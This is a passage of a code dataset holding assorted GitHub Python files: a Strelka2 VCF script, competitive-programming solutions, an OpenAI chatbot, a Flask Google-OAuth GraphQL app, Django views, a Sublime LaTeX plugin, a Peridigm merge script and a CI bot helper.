Strelka2\n\n Args:\n output_path (str): path to the VCF being created\n input_path (str): path to the Strelka2 VCF\n tumor_name (str): name of tumor sample in input\n normal_name (str) name of normal sample in input\n\n Raises:\n IOError if a sample name in the input is neither tumor_name\n nor normal_name\n \"\"\"\n\n input_vcf = pysam.VariantFile(input_path, 'r')\n\n input_vcf.header.formats.add('GT', '1', 'String',\n 'Converted genotype added in post for compatibility')\n input_vcf.header.formats.add('AD', 'R', 'Integer',\n ('Allelic depths for the ref and alt alleles in the order listed. '\n 'Added in post for compatibility'))\n input_vcf.header.formats.add('AF', 'A', 'Float',\n ('Allele frequency, as recommended by strelka2 docs: '\n 'U/U+U (somatic snps), '\n 'TIR/TIR+TAR (somatic indels)'))\n\n output = pysam.VariantFile(output_path, 'w', header=input_vcf.header)\n\n for record in input_vcf.fetch():\n for index in (0, 1):\n sample = record.samples[index]\n if sample.name == tumor_name:\n sample['GT'] = get_tumor_GT(record.info['SGT'], record.ref)\n elif sample.name == normal_name:\n sample['GT'] = get_normal_GT(record.info['NT'])\n else:\n raise IOError('VCF contains sample %s, not passed as tumor or normal'\n % sample.name)\n sample['AD'] = get_AD(sample, record.ref, record.alts)\n sample['AF'] = get_AF(sample['AD'])\n\n output.write(record)\n\n output.close()\n input_vcf.close()\n\ndef build_output_name(inpath, output_basename):\n \"\"\"Builds an VCF.GZ output filename based on the input (VCF/VCF.GZ) name\n The filename will be the input filename with '.standard' inserted before '.vcf.gz'\n \n Args:\n inpath (str): Path to the input VCF(.GZ) file\n output_basename (str): Used as first element of output filename in place of \n first element of name of inpath filename\n Return:\n str: Filename in the format ..consensus.vcf.gz\n \"\"\"\n basename_split = os.path.split(inpath)[-1].split('.')\n output_fields = [output_basename] + basename_split[1:-2] + ['standard'] + basename_split[-2:]\n return '.'.join(output_fields)\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser(\n description = 'Add standard fields to Strelka2 VCF')\n\n parser.add_argument('--strelka2_vcf', \n help='Normalized Strelka2 VCF')\n parser.add_argument('--tumor_name',\n help='Name of tumor sample in VCF')\n parser.add_argument('--normal_name',\n help='Name of normal sample in VCF')\n parser.add_argument('--output_basename',\n help='String to use as basename for output file [e.g.] task ID')\n\n args = parser.parse_args()\n\n # Get output VCF location\n base_dir = os.getcwd()\n output_vcf_name = build_output_name(args.strelka2_vcf, args.output_basename)\n output_vcf_path = os.path.join(base_dir, output_vcf_name)\n\n # Create and index the modified VCF\n create_mod_vcf(output_vcf_path, args.strelka2_vcf, args.tumor_name, args.normal_name)\n pysam.tabix_index(output_vcf_path, preset=\"vcf\", force=True) \n","repo_name":"kids-first/kf-somatic-workflow","sub_path":"scripts/add_strelka2_fields.py","file_name":"add_strelka2_fields.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"}
+{"seq_id":"28093301729","text":"\ndef maxProfit(stocks):\n l = 0\n max_profit = 0\n for r in range(1, len(stocks)):\n if stocks[l] < stocks[r]:\n profit = stocks[r] - stocks[l]\n max_profit = max(max_profit, profit)\n else:\n l = r\n return max_profit\n\n\ndef main():\n stocks = list(map(int, input().split()))\n print(maxProfit(stocks))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Navkant007/competitive_coding","sub_path":"python_codes/leetcode/buysellstocks.py","file_name":"buysellstocks.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"26537709697","text":"import os\nimport re\nimport sys\nimport logging\nfrom io import IOBase\nimport openai\nfrom contextlib import redirect_stdout\nimport requests\nfrom bs4 import BeautifulSoup\nimport datetime\n\nme = \"Ruben\"\nnow = datetime.datetime.now()\nopenai.api_key = \"PLACE YOUR KEY HERE\"\n\n\n\nclass Tee(IOBase):\n def __init__(self, file1, file2=sys.stdout):\n self.file1 = file1\n self.file2 = file2\n\n def write(self, data):\n self.file1.write(data)\n self.file2.write(data)\n\n\n\n\n\ndef chat_welcome():\n print(f\"VOICE:\\n\\nHi {me}, I see you're feeling lonely again and you want to talk to somebody. Have you checked your phone for an open conversation yet? \")\n input1 = input()\n print(f\"ME:\\n\\n{input1}\")\n if input1 == \"no\":\n print(\"VOICE:\\n\\nPlease check your phone first. Maybe there's somebody who wants to talk to you.\")\n elif input1 == \"yes\":\n print(\"VOICE:\\n\\nI'm sorry to hear that your feeling lonely. Before we talk, do you want me to record everything and send it to your Diary?\")\n input1 = input()\n print(f\"ME:\\n\\n{input1}\")\n if input1 == \"no\":\n print(\"VOICE:\\n\\nOkay\")\n status = 0\n chat()\n if input1 == \"yes\":\n print(\"VOICE:\\n\\nOk, I'll do that\")\n status = 1\n chat()\n\ndef chat():\n active = True\n while active:\n input1 = input(\"Write something...\\n\")\n print(f\"ME:\\n\\n{input1}\")\n if \"goodnight\" in input1:\n print(f\"VOICE:\\n\\nHave a good night {me}\")\n else:\n response = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=input1,\n temperature=0.6,\n max_tokens=150,\n top_p=1,\n frequency_penalty=1,\n presence_penalty=1\n )\n print(f\"VOICE:{response.choices[0].text}\")\n\n\n\nsys.stdout = Tee(open(f\"C:/Users/user/OneDrive/Desktop/tagebuch/{now.date()}.txt\", \"w\"))\nchat_welcome()\nsys.stdout.flush()\nsys.stdout.close()\n\n\n\n\n","repo_name":"ItIzYe/LonelyMan","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"39426088744","text":"# https://codeforces.com/contest/1287/problem/B\n# 晴れ 晴れ\n\nimport sys\nread = sys.stdin.readline\nwrite = sys.stdout.write\n\ndef make(a, b):\n ret = \"\"\n for i in range(len(a)):\n if a[i] == b[i]:\n ret += a[i]\n else:\n num = 6 - (ord(a[i]) - ord('0')) - (ord(b[i]) - ord('0'))\n ret += chr(ord('0') + num)\n return ret\n \ndef conv(a):\n return a.replace('S', '1').replace('E', '2').replace('T', '3')\n\nN, K = map(int, read().split())\ncards = set()\nA = []\nfor _ in range(N):\n A.append(conv(read()))\n cards.add(A[-1])\n\nans = 0\nfor i in range(N):\n for j in range(i+1, N):\n # use A[i] and A[j] to see if their triple exists\n if make(A[i], A[j]) in cards:\n ans += 1\n \nwrite(str(ans//3) + '\\n')","repo_name":"warithr621/Comp-Programming","sub_path":"Codeforces/1287/hyperset.py","file_name":"hyperset.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"74925584193","text":"from __future__ import unicode_literals\nfrom hazm import *\n\n\n\n\nnormalizer = Normalizer()\ntest = \"چرا که نه آن ها هم می خواهم بدانم ی آمدم ببینم چه خبر شده است خوانداذه آهنگ موسیقی ترانه رایانه کامپیوتر\"\nprint(test)\ntest1 = normalizer.normalize(test)\nprint(test1)\ntest2 = word_tokenize(test1)\nprint(test2)\n\nstemmer = Stemmer()\nfor i in test2:\n s1 = stemmer.stem(i)\n print(s1, end=' -- ')\n\nprint()\nlemmatizer = Lemmatizer()\nfor i in test2:\n l1 = lemmatizer.lemmatize(i)\n print(l1, end=' .. ')\n","repo_name":"AwesDea/Hamshahri-Information-Retrieval","sub_path":"hazm test.py","file_name":"hazm test.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"72139307075","text":"import json\nimport os\n\nimport requests\n\nfrom api import app\n\nfrom flask_login import (\n LoginManager,\n current_user,\n login_required,\n login_user,\n logout_user,\n)\n\nfrom ariadne import load_schema_from_path, make_executable_schema, \\\n graphql_sync, snake_case_fallback_resolvers, ObjectType\nfrom ariadne.constants import PLAYGROUND_HTML\nfrom flask import request, jsonify, Flask, redirect, url_for\nfrom oauthlib.oauth2 import WebApplicationClient\n\nimport api\nfrom api.queries import get_user_resolver, list_users_resolver\nfrom api.mutations import create_user_resolver, update_user_resolver, delete_user_resolver\n\n\nquery = ObjectType(\"Query\")\nmutation = ObjectType(\"Mutation\")\n\nquery.set_field(\"listUsers\", list_users_resolver)\nquery.set_field(\"getUser\", get_user_resolver)\n\nmutation.set_field(\"createUser\", create_user_resolver)\nmutation.set_field(\"updateUser\", update_user_resolver)\nmutation.set_field(\"deleteUser\", delete_user_resolver)\n\ntype_defs = load_schema_from_path(\"schema.graphql\")\nschema = make_executable_schema(\n type_defs, query, mutation, snake_case_fallback_resolvers\n)\n\n\n@app.route(\"/graphql\", methods=[\"GET\"])\ndef graphql_playground():\n return PLAYGROUND_HTML, 200\n\n\n@app.route(\"/graphql\", methods=[\"POST\"])\ndef graphql_server():\n data = request.get_json()\n\n success, result = graphql_sync(\n schema,\n data,\n context_value=request,\n debug=app.debug\n )\n\n status_code = 200 if success else 400\n return jsonify(result), status_code\n\n\n# User session management setup\n# https://flask-login.readthedocs.io/en/latest\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n\n# OAuth 2 client setup\nclient = WebApplicationClient(api.GOOGLE_CLIENT_ID)\n\n\n# Flask-Login helper to retrieve a user from our db\n@login_manager.user_loader\ndef load_user(user_id):\n return api.queries.User.query.get(user_id)\n\n\n@app.route('/')\ndef index():\n if current_user.is_authenticated:\n return (\n \"
Hello, {}! You're logged in! Email: {}
\"\n \"
Google Profile Picture:
\"\n '
'\n 'Logout'.format(\n current_user.username, current_user.email, current_user.profile_pic\n )\n )\n else:\n return 'Google Login'\n\n\n@app.route(\"/login\")\ndef login():\n # Find out what URL to hit for Google login\n google_provider_cfg = api.get_google_provider_cfg()\n authorization_endpoint = google_provider_cfg[\"authorization_endpoint\"]\n\n # Use library to construct the request for Google login and provide\n # scopes that let you retrieve user's profile from Google\n request_uri = client.prepare_request_uri(\n authorization_endpoint,\n redirect_uri=request.base_url + \"/callback\",\n scope=[\"openid\", \"email\", \"profile\"],\n )\n return redirect(request_uri)\n\n\n@app.route(\"/login/callback\")\ndef callback():\n # Get authorization code Google sent back to you\n code = request.args.get(\"code\")\n\n google_provider_cfg = api.get_google_provider_cfg()\n token_endpoint = google_provider_cfg[\"token_endpoint\"]\n\n token_url, headers, body = client.prepare_token_request(\n token_endpoint,\n authorization_response=request.url,\n redirect_url=request.base_url,\n code=code\n )\n\n token_response = requests.post(\n token_url,\n headers=headers,\n data=body,\n auth=(api.GOOGLE_CLIENT_ID, api.GOOGLE_CLIENT_SECRET),\n )\n\n # Parse the tokens!\n client.parse_request_body_response(json.dumps(token_response.json()))\n # Now that you have tokens (yay) let's find and hit the URL\n # from Google that gives you the user's profile information,\n # including their Google profile image and email\n userinfo_endpoint = google_provider_cfg[\"userinfo_endpoint\"]\n uri, headers, body = client.add_token(userinfo_endpoint)\n userinfo_response = requests.get(uri, headers=headers, data=body)\n # You want to make sure their email is verified.\n # The user authenticated with Google, authorized your\n # app, and now you've verified their email through Google!\n if userinfo_response.json().get(\"email_verified\"):\n unique_id = userinfo_response.json()[\"sub\"]\n users_email = userinfo_response.json()[\"email\"]\n picture = userinfo_response.json()[\"picture\"]\n users_name = userinfo_response.json()[\"given_name\"]\n else:\n return \"User email not available or not verified by Google.\", 400\n # Create a user in your db with the information provided\n # by Google\n user = api.queries.User(\n id=unique_id, username=users_name, email=users_email, profile_pic=picture\n )\n\n # Doesn't exist? Add it to the database.\n if not api.queries.User.query.get(unique_id):\n api.mutations.create_user_resolver(None, None, unique_id, users_name, users_email, picture)\n\n # Begin user session by logging the user in\n login_user(user, force=True, remember=True)\n\n # Send user back to homepage\n return redirect(url_for(\"index\"))\n\n\n@app.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n return redirect(\"/\")\n\n\nif __name__ == \"__main__\":\n app.run(ssl_context=\"adhoc\", debug=True)\n","repo_name":"cannoness/graphql-backend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"14592810365","text":"# pylint: disable=R0904\n\nimport datetime\nfrom django.contrib import admin\nimport pytz\nfrom website.apwan.models.token import Token\n\n__author__ = 'Dean Gardiner'\n\n\nclass TokenAdmin(admin.ModelAdmin):\n list_display = (\n 'owner',\n 'token', 'token_type',\n 'expires_in'\n )\n list_display_links = ('token',)\n\n def expires_in(self, obj):\n expire_delta = obj.expire - datetime.datetime.utcnow().replace(tzinfo=pytz.utc)\n expire_seconds = expire_delta.total_seconds()\n expire_minutes = round(expire_seconds / 60, 0)\n expire_hours = round(expire_minutes / 60, 0)\n\n result = \"EXPIRED\"\n\n if expire_hours > 1:\n result = \"%d hours\" % expire_hours\n elif expire_hours == 1:\n result = \"1 hour\"\n elif expire_minutes > 1:\n result = \"%d minutes\" % expire_minutes\n elif (expire_seconds / 60) == 1:\n result = \"1 minute\"\n elif expire_seconds > 1:\n result = \"%d seconds\" % expire_seconds\n elif expire_seconds == 1:\n result = \"1 second\"\n\n return result\n\nadmin.site.register(Token, TokenAdmin)\n","repo_name":"FructusCode/website","sub_path":"website/apwan/admin/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"33132992524","text":"import sublime\nimport sublime_plugin\n\nimport os\n\nfrom .completions.latex_commands import math_commands, general_commands\n\n\ndef is_duplicated(x, r):\n for item in r:\n if item[0].startswith(x):\n return True\n return False\n\n\nlz_settings_file = \"LaTeXYZ.sublime-settings\"\n\n\ndef tidy(x):\n if len(x) == 2:\n contents = x[1]\n if \"$1\" not in contents:\n contents = contents.replace(\"$0\", \"$1\")\n elif \"$2\" not in contents:\n contents = contents.replace(\"$0\", \"$2\")\n return (x[0], contents)\n else:\n return x\n\n\ndef maybe_remove_backslash(x):\n if sublime.version() < '4000' and len(x) == 2 and x[1].startswith(\"\\\\\"):\n return (x[0], x[1][1:])\n else:\n return x\n\n\nclass LatexyzBlackSlashCompletions(sublime_plugin.EventListener):\n\n general_commands = None\n math_commands = None\n latex_cwl_installed = None\n\n def on_query_completions(self, view, prefix, locations):\n if view.settings().get('is_widget'):\n return\n\n if not view.match_selector(locations[0], \"text.tex.latex\"):\n return None\n\n # use default completion for non latex command\n ploc = locations[0] - len(prefix)\n if prefix and view.substr(sublime.Region(ploc - 1, ploc)) != \"\\\\\":\n return None\n\n lz_settings = sublime.load_settings(lz_settings_file)\n backslash_complete = lz_settings.get(\"backslash_complete\", \"auto\")\n if backslash_complete is False:\n return\n\n if backslash_complete == \"auto\":\n if self.latex_cwl_installed is None:\n self.latex_cwl_installed = \\\n \"LaTeX-cwl.sublime-package\" in os.listdir(sublime.installed_packages_path()) \\\n and \"LaTeX-cwl\" not in view.settings().get(\"ignored_packages\", []) \\\n and \"LaTeXTools\" not in view.settings().get(\"ignored_packages\", [])\n if self.latex_cwl_installed is True:\n return\n\n if not self.general_commands:\n if lz_settings.get(\"auto_create_fields\", False):\n self.general_commands = [maybe_remove_backslash(tidy(x)) for x in general_commands]\n else:\n self.general_commands = [maybe_remove_backslash(x) for x in general_commands]\n\n if not self.math_commands:\n if lz_settings.get(\"auto_create_fields\", False):\n self.math_commands = [maybe_remove_backslash(tidy(x)) for x in math_commands]\n else:\n self.math_commands = [maybe_remove_backslash(x) for x in math_commands]\n\n r = self.general_commands\n if view.match_selector(locations[0], \"meta.environment.math\"):\n r = r + self.math_commands\n\n extract_completions = list(set(\n [view.substr(s) for s in view.find_all(r\"\\\\%s[a-zA-Z@]+\\*?\" % prefix) if s.size() > 3]\n ))\n r = r + [(item, ) for item in extract_completions if not is_duplicated(item, r)]\n return list(set(r))\n","repo_name":"randy3k/LaTeXYZ","sub_path":"backslash_complete.py","file_name":"backslash_complete.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"61"}
+{"seq_id":"23435230541","text":"__author__ = 'Pierre-Luc'\r\n\r\n\r\ndef solve(N,NBlocks,KBlocks,numCase):\r\n NBlocks.sort()\r\n KBlocks.sort()\r\n answer1 = solveStrategy1(N,list(NBlocks),list(KBlocks))\r\n answer2 = solveStrategy2(N,NBlocks,KBlocks)\r\n\r\n fOutput.write(\"Case #\" + str(numCase+1) + \": \")\r\n fOutput.write(str(answer2) + \" \"+ str(answer1))\r\n\r\n fOutput.write(\"\\n\")\r\n\r\ndef solveStrategy1(N,NBlocks,KBlocks):\r\n numWins = 0\r\n\r\n for game in range(N):\r\n valN = NBlocks.pop(0)\r\n\r\n KPlayed = False\r\n for i in range(0,len(KBlocks)):\r\n if KBlocks[i] > valN:\r\n KBlocks.pop(i)\r\n KPlayed = True\r\n break\r\n if KPlayed == False:\r\n KBlocks.pop(0)\r\n numWins += 1\r\n\r\n return numWins\r\ndef solveStrategy2(N,NBlocks,KBlocks):\r\n return N-solveStrategy1(N,KBlocks,NBlocks)\r\n\r\n\r\n\r\nfInput = open(\"4InputLarge.txt\",\"r\")\r\nfOutput = open(\"4OutputLarge.txt\",\"w\")\r\n\r\n\r\nT = int(fInput.readline())\r\n\r\nfor numCase in range(0,T):\r\n N = int(fInput.readline())\r\n NBlocks = fInput.readline().strip(\"\\n\").split(\" \")\r\n NBlocks = [float(i) for i in NBlocks]\r\n\r\n KBlocks = fInput.readline().strip(\"\\n\").split(\" \")\r\n KBlocks = [float(i) for i in KBlocks]\r\n\r\n solve(N,NBlocks,KBlocks,numCase)\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_138/496.py","file_name":"496.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23570354621","text":"\r\ndef main(input):\r\n file = open(input)\r\n txt = file.read().split()\r\n file.close()\r\n\r\n\r\n file = open(\"result.txt\", 'w')\r\n i = 0\r\n j = 1\r\n while i < int(txt[0])*2:\r\n spaces = int(txt[i+1])\r\n population = int(txt[i+2])\r\n #print spaces, population\r\n\r\n stalls = [1]\r\n for k in range(spaces):\r\n stalls.append(0)\r\n stalls.append(1)\r\n #print sidesSpaces(stalls, 3)\r\n\r\n if (population == spaces): file.write(\"Case #\"+str(j)+\": \"+str(\"0 0\")+\"\\n\")\r\n #elif (population == 1): file.write(\"Case #\"+str(j)+\": \"+str(spaces/2)+\" \"+str(spaces/2 - 1)+\"\\n\")\r\n else:\r\n for p in range(population):\r\n result = fillPosition(stalls)\r\n file.write(\"Case #\" + str(j) + \": \" +str(result[2])+\" \"+str(result[0])+ \"\\n\")\r\n j += 1\r\n i += 2\r\n file.close()\r\n\r\ndef sidesSpaces(stalls, index):\r\n\r\n left = right = 0\r\n\r\n i = index\r\n while i > 1 and stalls[i-1] == 0:\r\n left += 1\r\n i -= 1\r\n i = index\r\n while i < len(stalls)-2 and stalls[i+1] == 0:\r\n right += 1\r\n i += 1\r\n return left, right\r\n\r\ndef fillPosition(stalls):\r\n valuesFirst = []\r\n candidats = []\r\n candidatsSecond = []\r\n for i in range(1, len(stalls)-1):\r\n if stalls[i] == 0:\r\n distances = sidesSpaces(stalls, i)\r\n minDistance = min(distances[0], distances[1])\r\n maxDistance = max(distances[0], distances[1])\r\n valuesFirst.append((minDistance, i, maxDistance))\r\n valuesFirst.sort(key=lambda x: x[0], reverse=True)\r\n #print values\r\n maximum = valuesFirst[0][0]\r\n j = 0\r\n while j < len(valuesFirst) and valuesFirst[j][0] == maximum:\r\n candidats.append(valuesFirst[j])\r\n j += 1\r\n\r\n if len(candidats) == 1:\r\n stalls[candidats[0][1]] = 1\r\n return candidats[0]\r\n else:\r\n candidats.sort(key=lambda x: x[2], reverse=True)\r\n maximum = candidats[0][2]\r\n j = 0\r\n while j < len(candidats) and candidats[j][2] == maximum:\r\n candidatsSecond.append(candidats[j])\r\n j += 1\r\n if len(candidatsSecond) == 1:\r\n stalls[candidatsSecond[0][1]] = 1\r\n return candidatsSecond[0]\r\n else:\r\n candidatsSecond.sort(key=lambda x: x[1], reverse=False)\r\n stalls[candidatsSecond[0][1]] = 1\r\n return candidatsSecond[0]\r\n\r\n\r\n\r\nmain(\"C-small-1-attempt1.in\")","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/2445.py","file_name":"2445.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7618638362","text":"from django.shortcuts import render\nfrom .forms import CommentForm\nfrom .ml_model import model\n\n\ndef index(request):\n form = CommentForm()\n return render(request, \"index.html\", {'form': form})\n\n\ndef get_comment(request):\n status = rating = ''\n if request.method == 'POST':\n form = CommentForm(request.POST)\n if form.is_valid():\n prediction = model.comment_checking(form.data['comment'])\n status = prediction[0]\n rating = prediction[1]\n else:\n form = CommentForm()\n\n return render(request, 'index.html', {'form': form, 'status': status, 'rating': rating})\n","repo_name":"Artie47/Film-comments-classifcation","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"20866417666","text":"from django.shortcuts import render, redirect , get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Product,Order,Category\nfrom .forms import OrderCreateForm,OrderUpdateForm\nfrom django.contrib import messages\n\n\n############################## View for retreaive & display all entries from Product table & Serach##########.\n@login_required(login_url='login')\ndef dashboard(request):\n Query_set = Product.objects.all()\n \n\n # Logic for search by category & product by name\n if 'keywords' in request.GET:\n keywords = request.GET['keywords']\n if keywords:\n # join query from 2 columns of one table for search by category & productname\n Query_set = Query_set.filter(Product_Name__icontains=keywords) | Query_set.filter(\n Product_Category__Category_Name__icontains=keywords) # For accessing other table when have relationship field EX->Modal__columnname like Category__Category_Name\n\n context = {\n 'products': Query_set\n }\n\n return render(request, 'accounts/dashboard.html', context)\n \n##################################### Single Product Page########################################\n@login_required(login_url='login')\ndef productDetail(request,pk):\n Product_Detail = get_object_or_404(Product,id=pk)\n context={ \n 'product': Product_Detail\n }\n\n return render(request,'accounts/product_detail.html',context)\n \n#################################################Orders Management########################################################\n \n############################################Create Orders##############################\n \n@login_required(login_url='login')\ndef addOrder(request):\n if request.method == 'POST':\n form = OrderCreateForm(request.POST)\n \n if form.is_valid():\n Order_Name_Of_Product = form.cleaned_data['Order_Name_Of_Product']\n Order_Quantity = form.cleaned_data['Order_Quantity']\n Phone = form.cleaned_data['Phone']\n Email = form.cleaned_data['Email']\n # print(Order_Name_Of_Product)\n instance = form.save(commit=False) #By this you can take form value to variable like order.then you will process data from database like.order.customer=request.user\n # print(instance.Order_Name_Of_Product.Product_Quantity)\n # print(instance.Order_Quantity)\n \n\n instance.customer = request.user #Logic to have the logged-in user and saving in user field of instance table\n instance.save()\n messages.success(request, 'Item is Ordered Successfully')\n return redirect('viewOrders')\n else:\n form = OrderCreateForm(request.POST)\n context = {\n 'form': form,\n\n }\n\n return render(request, 'accounts/add_order.html', context)\n\n form = OrderCreateForm()\n context = {\n 'form': form\n }\n\n return render(request, 'accounts/add_order.html', context)\n\n\n############################## View for display all Orders from Order table For loggedin users & Search##########.\n@login_required(login_url='login')\ndef viewOrders(request):\n Query_set = Order.objects.filter(customer_id=request.user.id) #Query to fetch specific user's orders\n context = {\n 'orders': Query_set\n }\n\n return render(request, 'accounts/view_orders.html', context)\n\n\n################################ View for Update Orders from Order table For loggedin users######################.\n@login_required(login_url='login')\ndef editOrder(request,pk):\n # user=Order.objects.filter(customer_id=request.user.id)\n query_set = Order.objects.get(id=pk) ####objects.get method doesnot return queryset like filter.It will return onlny one result\n form = OrderUpdateForm(instance=query_set)\n if request.method == 'POST':\n form = OrderUpdateForm(request.POST, instance=query_set)\n if form.is_valid():\n form.save()\n messages.success(request,'Item is Updated Successfully') \n return redirect('viewOrders')\n \n context = {\n 'form':form,\n 'pk':pk\n \n }\n return render(request,'accounts/edit_order.html', context)\n\n\n################################ View for Delete Orders from Order table For loggedin users###################.\n\ndef deleteOrder(request,pk):\n queryset = Order.objects.get(id=pk)\n if request.method == 'POST':\n queryset.delete()\n return redirect('viewOrders')\n context={\n 'pk':pk\n }\n return render(request, 'accounts/del_order.html',context)\n","repo_name":"saurabh-patyal/user_profile_dashboard","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"34634216959","text":"#! /usr/bin/env python\n\nimport sys\nimport os\nimport re\nimport glob\nfrom subprocess import Popen\n\n# Sort the given list in the way that humans expect.\ndef sort_nicely(input_list):\n convert = lambda text: int(text) if text.isdigit() else text\n alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ]\n input_list.sort( key=alphanum_key )\n\n# Determine if file is an executable\ndef is_exe(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n# Determine if executable in path\ndef which(program):\n # Determine if executable in path\n fpath, fname = os.path.split(program)\n if fpath:\n if is_exe(program):\n return program\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n exe_file = os.path.join(path, program)\n if is_exe(exe_file):\n return exe_file\n return None\n\ndef create_file_list():\n # Generate listing of files -s* for merging\n files = glob.glob('*.e*')\n files_to_join = []\n for file in files:\n start = 0\n end = file.find('.e')\n newfile = file[start:end]\n files_to_join.append(newfile)\n\n # Remove duplicates\n files_to_join = list(set(files_to_join))\n files_to_join.sort()\n return files_to_join\n\ndef merge_files(files_to_join, path, base_name, num_proc):\n result = 0\n\n # open log file\n log_file_name = base_name + \".log\"\n if os.path.exists(log_file_name):\n os.remove(log_file_name)\n logfile = open(log_file_name, 'w')\n\n # First merge all distributed exodus databases for each time stamp\n for file in files_to_join:\n if is_exe(path+\"epu\"):\n command = [path+\"epu\", \"-p\", num_proc, file]\n elif which(\"epu\") != None:\n command = [\"epu\", \"-p\", num_proc, file]\n else:\n print(\"Error: epu not found! Please execute this script from 'scripts' in your Peridigm build directory or put 'epu' in your path. 'epu' can be found in your Trilinos install 'bin' directory.\")\n sys.exit(-1)\n p = Popen(command, stdout=logfile, stderr=logfile)\n return_code = p.wait()\n if return_code != 0:\n result = return_code\n\n # Check for any \"-s\" files\n check = glob.glob('*-s*')\n if len(check) != 0:\n # Add .e to list of files for conjoin\n files_to_conjoin = []\n for file in files_to_join:\n newfile = file + \".e\"\n files_to_conjoin.append(newfile)\n sort_nicely(files_to_conjoin)\n # Now combine time series from all databases\n if is_exe(path+\"conjoin\"):\n command = [path+\"conjoin\", \"-output\", base_name+\".e\"]\n elif which(\"conjoin\") != None:\n command = [\"conjoin\", \"-output\", base_name+\".e\"]\n else:\n print(\"Error: conjoin not found! Please execute this script from 'scripts' in your Peridigm build directory or put 'conjoin' in your path. 'conjoin' can be found in your Trilinos install 'bin' directory.\")\n sys.exit(-1)\n for file in files_to_conjoin:\n command.append(file)\n p = Popen(command, stdout=logfile, stderr=logfile)\n return_code = p.wait()\n if return_code != 0:\n result = return_code\n\n # If error print message to screen\n if result != 0:\n print(\"\\n Error when merging files! Check .log file for error details.\\n\")\n \n return result\n\ndef usage():\n if len(sys.argv) < 2:\n print(\"\\n----------------Peridigm Exodus Outfile Merger----------------\\n\")\n print(\"Usage: MergeFiles.py <# of Processors>\\n\")\n sys.exit(1)\n\ndef main():\n \"\"\"\n Main routine\n \"\"\"\n usage()\n\n path = sys.argv[0]\n base_name = sys.argv[1]\n num_proc = sys.argv[2]\n\n # Define path to location of MergeFiles to call epu and conjoin later\n start = 0\n end = path.find('MergeFiles')\n newfile = path[start:end]\n path = newfile\n\n # remove the output .e file if it exists\n if os.path.exists(base_name+\".e\"):\n os.remove(base_name+\".e\")\n\n files_to_join = create_file_list()\n\n result = merge_files(files_to_join, path, base_name, num_proc)\n\n sys.exit(result)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"peridigm/peridigm","sub_path":"scripts/MergeFiles.py","file_name":"MergeFiles.py","file_ext":"py","file_size_in_byte":4264,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"61"}
+{"seq_id":"19883844065","text":"# -*- coding: utf-8 -*-\n\nfrom Logger import logger\nfrom funcs import config_loader as cfg\nfrom funcs import jenkins_builder_app as jks\n\nCHAT_ID = int(cfg.get_chat_id())\n\n\ndef add_build() -> str:\n \"\"\"\n Запуск нового билда\n\n :return: результат запуска билда или причина, почему билд не запущен\n \"\"\"\n logger.info('Запущено добавление нового билда')\n errors = jks.new_build()\n # Если не вернулись ошибки:\n if errors and len(errors) > 0:\n return str(errors)\n else:\n logger.info('Билд запущен')\n return 'Билд запущен'\n\n\ndef get_help() -> str:\n \"\"\"\n Получение справки по боту\n\n :return: справка по боту\n \"\"\"\n answer = 'Справка по боту\\n\\n'\n answer += ('Список команд:\\n'\n '* build - запуск нового билда')\n return answer\n\n\ndef test_func() -> str:\n \"\"\"\n Тестовая функция для отладки\n\n :return: тестовые данные\n \"\"\"\n answer = \"Тестовая функция\"\n return answer\n","repo_name":"nuPATEXHuK/CI_bot","sub_path":"funcs/main_funcs.py","file_name":"main_funcs.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
